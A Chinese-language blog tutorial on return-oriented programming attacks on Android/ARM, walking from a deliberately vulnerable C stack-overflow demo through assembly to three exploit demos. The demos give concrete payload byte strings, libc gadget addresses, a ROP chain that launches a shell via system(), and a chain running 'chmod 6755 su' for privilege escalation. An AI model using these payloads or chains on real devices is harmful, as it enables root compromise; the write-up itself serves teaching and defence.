針對Android上的ROP攻擊剖析

引言
       ROP(Return-oriented programming),即“返回導向編程技術”。其核心思想是在整個進程空間內現存的函數中尋找適合指令片斷(gadget),並通過精心設計返回堆棧把各個gadget拼接起來,從而達到惡意攻擊的目的。構造ROP攻擊的難點在於,我們需要在整個進程空間中搜索我們需要的gadgets,這需要花費相當長的時間。但一旦完成了“搜索”和“拼接”,這樣的攻擊是無法抵擋的,因爲它用到的都是內存中合法的的代碼,普通的殺毒引擎對ROP攻擊是無計可施的。

棧溢出漏洞及棧溢出攻擊
          在介紹ROP技術原理前,需要先介紹一下棧溢出漏洞。
          棧溢出(stack-based buffer overflows)算是安全界常見的漏洞。一方面因爲程序員的疏忽,使用了 strcpy、sprintf 等不安全的函數,增加了棧溢出漏洞的可能。另一方面,因爲棧上保存了函數的返回地址等信息,因此如果攻擊者能任意覆蓋棧上的數據,通常情況下就意味着他能修改程序的執行流程,從而造成更大的破壞。這種攻擊方法就是棧溢出攻擊(stack smashing attacks)
         棧溢出攻擊的原因是由於程序中缺少錯誤檢測,另外對緩衝區的潛在操作(比如字符串的複製)都是從內存低址到高址,而函數調用的返回地址往往就在緩衝區的上方(當前棧底),這爲我們覆蓋返回地址提供了條件。下面是stack smashing attacks示意圖

           下面是一個存在棧溢出的DEMO:

         #include <stdio.h>
           #include <string.h>

           int bof(FILE *badfile){
            char buffer[20];
            fread(buffer, sizeof(char), 100, badfile); 
            return 1; 
          }

          int main(){
            FILE *badfile;
            badfile = fopen("badfile", "r");
            bof(badfile);

            printf("Returned Properly\n");
            fclose(badfile);
            return 0;
         }

         DEMO的邏輯很簡單,就是從badfile文件中讀取最長100字節的數據,然而buffer的長度只有20字節,所以這裏是有可能發現棧溢出的。

下面是在cygwin的環境下編譯出來的彙編代碼(我已經把一些對邏輯理解無關的細節去掉):

_main:
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $32, %esp
call ___main
movl $LC0, 4(%esp)
movl $LC1, (%esp)
call _fopen
movl %eax, 28(%esp)
movl 28(%esp), %eax
movl %eax, (%esp)
call _bof
movl $LC2, (%esp)
call _puts
movl 28(%esp), %eax
movl %eax, (%esp)
call _fclose
movl $0, %eax
leave
ret

_bof:
pushl %ebp
movl %esp, %ebp
subl $56, %esp
movl 8(%ebp), %eax
movl %eax, 12(%esp)
movl $100, 8(%esp)
movl $1, 4(%esp)
leal -28(%ebp), %eax
movl %eax, (%esp)
call _fread
movl $1, %eax
leave
ret


       我們只關注從main進入bof以及bof執行完畢後返回main這個過程。
  • 在調用從call __fopen開始看,在進入__bof前,badfile地址已經入棧。
  • call _bof語句的作用則是把下一條指令(movl $LC2, (%esp))入棧,也就是_bof執行完畢後的返回地址
  • 在進入_bof後,第一時間把ebp入棧,ebp是當前棧底,用於恢復esp的。
       整個堆棧的內存佈局如下所示:

       從分佈圖可以看到,系統實際分配給buffer的長度是28字節,接下來就是舊的棧底地址,bof返回地址和badfile地址。因此當badfile的內容長度是低於28字節的情況下,程序依然可以正常運行。但當badfile的內容長度超出28字節,就會直接把old EBP和ret address覆蓋掉,這就達到了修改返回地址的目的了。

ROP的前世今生
      前面大家對stack smashing attacks有了一個感性的認知之後,接下來我們再來了解一下ROP技術的發展過程。

      stack smashing attacks
      這種攻擊手段,是最早棧溢出攻擊的方式,前面已經做了詳細的分析了。
      stack smashing attacks並不是無敵的,其對抗技術就是DEP(Data Execution Prevention )ASLR(Address Space Layout Radomization),通過這兩種技術的保護下Stack smashing attacks一定程度上揭制。

      Return-to-library technique
      簡稱“Ret2Lib”,這種技術可以繞過DEP的保護,其核心思想是把返回地址直接指向系統某個已存在的函數(一般是system,因爲其使用簡單,參數只有一個),這樣同樣可以達到攻擊的目的。再來看剛纔的例子,如果在badfile構造一些數據,使其被bof函數讀取後,達到如下堆棧分佈:

        這樣當程序執行完bof後,馬上就跳轉到system函數了,然後去獲取其第一個函數,即&"/bin/sh",這樣就讓程序直接跑起了一個sh進程了。試想一下,如果這個程序是一個具備suid的程序,那就意味着我們輕易就獲得了root權限了。

      Borrowed Code Chunks
     "Ret2Lib"一直工作得很好,直接x64體系的出現。x64相比於x86,最後的區別是函數參數的傳遞不再完全依賴堆棧,其規定函數的第一個參數必須保存到第一個寄存器即EAX,這導致單純的把參數地址放在堆棧並不能很好的工作,除非函數本身不需要參數。因此,在這種情況下,Borrowed Code Chunks技術就誕生了。這種技術是Ret2Lib技術的一個思維突破,它不再單純把返回地址指向整個函數入口,而且還包括函數中任意的指令片斷。還是回到剛纔的DEMO,如果要實現先把&"/bin/sh"的地址賦值給EAX,那麼我們可以嘗試尋找下列指令:
POP %EAX
ret
或者
POP %EAX
POP %EBX
JMP %EBX
等等
      假如我們找到前者的指令,這樣我們在badfile寫入如下數據:[POP_address][&/bin/sh][system_address][fake_ebp][fake_retaddress],同樣可以達到攻擊目標。

       Retrun-Oriented-Programming
       Borrowed Code Chunk最終還是需要依賴現有的鏈接庫函數,如果鏈接庫本身沒有提供適合的函數的情況下,Borrowed Code Chunk就無計可施,這時ROP技術就應運而生了。 ROP的指導思想就是希望所有的惡意攻擊都通過現存函數的指令片斷串連而成。這種指令片斷通過跳轉指令(x86上是RET和JMP, ARM上是pc的相關指令)可以相互連接的邏輯片斷,稱爲gadget。ROP攻擊最終的體現就是一串gadgets。
       ROP的強大之處在於,只要找到一個溢出缺陷,並且堆棧空間足夠大,就可以實現任何邏輯,而且ROP攻擊一直是各大病毒掃描引擎的難題。

ROP在ARM上的可行性
      由於x86(x64)跟ARM的PCS規範不同,而且指令格式也不一致,但ROP的思想同樣可以作用於ARM平臺兩者的指令對比:


     寄存器作用也不盡相同

     r15即pc,是程序計數器,相對於x86上的EIP
     r14即lr,連接寄存器,相對於x86上沒有對應
     r13即sp,堆棧寄存器,相對於x86上的ESP
     r11(r7)即fp, 棧底寄存器,相對於x86上的EBP
     r4 – r10, r12,作爲局部變量使用
     r0 – r3,保存參數的前三個參數,如果存在四個參數,則放入堆棧,這個是跟x86最大的區別
     r0保存函數的返回值, 跟x86上保存在EAX一致
     ARM裏pc可以直接修改,這在一定程度上爲ROP攻擊提供便利

     android上實施ROP攻擊
     目前市面上大部android手機都是基於ARM平臺的,因此理論上在android上實現ROP攻擊是可行的,但也需要注意到,android上的libc是bionic libc,而不是普遍使用glibc,google對其提高了其安全性,把大部分涉及r0的指令都優化掉了,這就大大提高了ROP攻擊的難度。

    攻擊演示
      前面說了一大堆理論,下面我們開始做一些演示。

      所使用的工具如下:
              arm-linux-androideabi(android上的交叉編譯器)
              IDA 6.1(用於遠程調試android )
              python環境(用於的生成shellcode)
              addp (用於快速查找系統函數地址)
              addsp(用於快速驗證libc.so中的字符串地址是否正確)

       DEMO1,修改bof返回地址
       我們先以一個簡單的DEMO開始,還是前面提及的漏洞DEMO,我們先看看其在ARM下的編碼



            其中0x83c4是bof調用後要執行的指令,而是0x83ce則是我們跳轉的地址。下面是bof的代碼




           通過代碼,我們可以得到其棧的內存分佈圖,發下所示:



        從圖可以看到,系統給buffer分析的長度正是好20字節,我們先記錄下當前old R7的值,在我的手機上爲0xBEFFFA70,而我們需要修改的是LR的值,要改爲0x000083CE。因此我們構造如下shellcode:
'A' * 20 + '\x70\xFA\xFF\xBE' + '\xCF\x83\x00\x00'  (PS:ARM上是使用LE存儲)
       另外有一點需要注意,由於在ARM上存在ARM(32位)和Thumb(16位)兩種指令格式,系統是通過目標地址的bit[0]作爲判斷依據的,如果bit[0]爲1,則自動轉爲thumb模式執行,否則則以ARM方式執行。我們的DEMO是以thumb方式編譯的,因此最終跳轉的地址應該是0x000083CF。

        DEMO2,執行system("/system/bin/sh")
        再來一個難度高一點。要實現這個DEMO,我們需要先尋找libc.so的基地址,在我手機上,libc.so的基地址是0x40025000,有了基地址,我們就計算出如下地址:

        ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
        /system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F

       另外,我們需要尋找適合的gadget來完成對r0的賦值,最後我找到mallinfo函數的片斷,可以滿足這個要求,見mallinfo的指令:


       見0x16F720x16F70兩條指令,我們可以先跳到0x16F72,把“/system/bin/sh”的地址賦值給r4,接着控制pc,跳轉至0x16F70,這樣就間接把“/system/bin/sh”賦值給r0了。然後再把pc指向system即可。

       列一下我們所關注的地址:

       baseaddr: 0x40025000
       mallinfo: 0x00016F68 + 0x40025000 = 0x4003BF68
       ststem: 0x0001A7E8 + 0x40025000 = 0x4003F7E8
       &/system/bin/sh: 0x0003AA7F + 0x40025000 = 0x4005FA7F
       MOVS R0, R4 : 0x00016F70 + 0x40025000 = 0x4003BF70
       POP {R4, PC}: 0x00016F72 + 0x40025000 = 0x4003BF72

       最後我們構造的shellcode如下:
       'A' * 24 + '\x73\xBF\x03\x40' + '\x7F\xFA\x05\x40' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'


       DEMO3,執行任意腳本
       DEMO2只可以執行"/system/bin/sh",但往往這並不能被利用,因爲我們無法跟目標進程通訊,我們往往更希望是直接讓root目標進程運行提權腳本。因此在這個demo裏,我們實現執行任意的腳本。
       我們以“chmod 6755 su”作爲試驗

       首先想到的就是希望把腳本寫到buffer裏,然後在DEMO2的基礎上,把r0的值指向buffer的地址。但實際發現這並不可行,因爲system函數本身也需要申請棧空間,見如下代碼所示:



       system本身是需要申請32字節的棧空間,如果用DEMO2的方式的話,寫入buffer的腳本就有可能會被覆蓋,示意圖如下所示:


       這造成buffer最終只能存在7字節長度的腳本,這顯然非常不好。因此我們需要另想辦法,讓sp往hight端遞增,尋找類似如下的指令:

                             add sp, sp, #N
                             pop {r7, pc}
       這種指令可以說到處都是,看到bof最後的指令:



        我們先把pc指向ADD SP, SP, #0x20,就可以讓SP往前挪32個字節,正好可以抵消掉system的32字節,示意圖如下:


       再來看一下我們所關注的地址們:

         baseaddr: 0x40025000
         R0: 0xBEFFFA54
         ADD SP, SP, #0x20 : 0x0000839A
         POP {R7, PC}:  0x0000839C

       最後我們構造出如下shellcode:
       'chmod 6755 su' + '\x00' * 11 + '\x9B\x83\x00\x00' + 'A' * 32 + 'A' * 4 + '\x73\xBF\x03\x40' + '\x54\xFA\xFF\xBE' + '\x71\xBF\x03\x40' + 'A' * 4 + '\xE9\xF7\x03\x40'


       爲了更好解釋整個邏輯跳轉,下面附上gadgets鏈示意圖:





最後

  • 通過上面幾個DEMO,大家應該可以感受到ROP的強大
  • Android未來的病毒的發展趨勢,必然越來越高級,越來越偏向底層
  • 對抗ROP攻擊一直是安全界的難題,關於如何對抗ROP也有很多相關的課題
  • 儘量少用strcpy, gets等沒有長度檢查的函數



     分享中涉及的所有代碼和所使用的工具都可以向我索取



相關參考

  • 《Return-to-libc Attack Lab》——Wenliang Du, Syracuse University
  • 《ARM嵌入式系統結構與編程》—— 邱鐵
  • 《緩衝區溢出》——程紹銀
  • 《Exploitation on ARM》 —— STRI/Advance Technology Lab/Security
  • 《ARM EXPLOITATION ROPMAP》——Long Le

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章